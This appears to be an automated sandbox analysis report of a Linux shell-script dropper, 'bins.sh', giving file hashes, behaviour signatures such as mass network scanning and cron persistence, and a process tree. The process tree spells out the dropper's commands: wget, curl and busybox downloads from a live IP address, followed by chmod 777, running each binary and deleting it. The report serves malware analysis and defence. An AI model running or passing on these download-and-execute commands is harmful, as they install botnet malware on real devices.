Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24-11-2024 00:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    189e44c8b7f08b35f7db2c3a93458409

  • SHA1

    02f6a3087388a4fd264c352cb40ba6a7aa3867d0

  • SHA256

    40d95128ef74aeb3e7db7937e9f0a369166df804da9ef079f261d12f41290c19

  • SHA512

    26d3894c6c0069e9ce08a08094a5bf9335d980c9f377948f05abc558e59a67e4a98aa59bc9457eaa242223782d2b811821ed53875fa2ca82a96575cf6cb371d2

  • SSDEEP

    192:HX8IUOHvcLp1JgfQomvLw2VMEaiqTfZ1JgMIUOHvc/aiqTf2QomvLDO:HX8IUOHvcLp1JgfQomvLw2VMd1JgMIUZ

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1884) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:707
        • /usr/bin/wget
          wget http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.240/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            ./7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:741
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:743
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:744
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:745
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:746
                • /bin/rm
                  rm 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
                  2⤵
                    PID:748
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                    2⤵
                      PID:831
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                      2⤵
                        PID:832
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                        • Writes file to tmp directory
                        PID:833
                      • /bin/chmod
                        chmod 777 ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                        • File and Directory Permissions Modification
                        PID:834
                      • /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        ./ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                        • Executes dropped EXE
                        PID:835
                      • /bin/rm
                        rm ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
                        2⤵
                          PID:837
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                          2⤵
                            PID:839
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                            2⤵
                              PID:849
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                              • Writes file to tmp directory
                              PID:859
                            • /bin/chmod
                              chmod 777 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                              • File and Directory Permissions Modification
                              PID:866
                            • /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              ./0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                              • Executes dropped EXE
                              PID:867
                            • /bin/rm
                              rm 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
                              2⤵
                                PID:871
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                2⤵
                                  PID:872
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                  2⤵
                                    PID:878
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:883
                                  • /bin/chmod
                                    chmod 777 L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:888
                                  • /tmp/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    ./L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                    • Executes dropped EXE
                                    PID:889
                                  • /bin/rm
                                    rm L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
                                    2⤵
                                      PID:893
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                      2⤵
                                        PID:894
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                        2⤵
                                          PID:895
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:897
                                        • /bin/chmod
                                          chmod 777 HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:905
                                        • /tmp/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          ./HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                          • Executes dropped EXE
                                          PID:906
                                        • /bin/rm
                                          rm HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G
                                          2⤵
                                            PID:914
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/m2Nu3vgWLRaRvKqFcSnhq3dYWOwgfr3Tth
                                            2⤵
                                              PID:915

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO

                                            Filesize

                                            98KB

                                            MD5

                                            5141342d0df8699fa32a6b066a0c592e

                                            SHA1

                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                            SHA256

                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                            SHA512

                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                          • /tmp/HBWt0ZDeNyGoPeBLivhIcmVTKqJme1fX0G

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /var/spool/cron/crontabs/tmp.Ns4foE

                                            Filesize

                                            210B

                                            MD5

                                            ca90b8779ab072f7cb114520f814a30d

                                            SHA1

                                            b4ca615b11a59b75d58943878a0c65336bf8a8d8

                                            SHA256

                                            4f80762cd77c5ed78754d8401613f738f3e2496c98a3e1cad4390a904d50851f

                                            SHA512

                                            fe17ced986434a2969efaf6d31423cdd171c72227172bf3f5fa7698ceef0e21844bc934f8937523cccbc72c26ee0ea756a8fe45a35557fa316da2e7355753519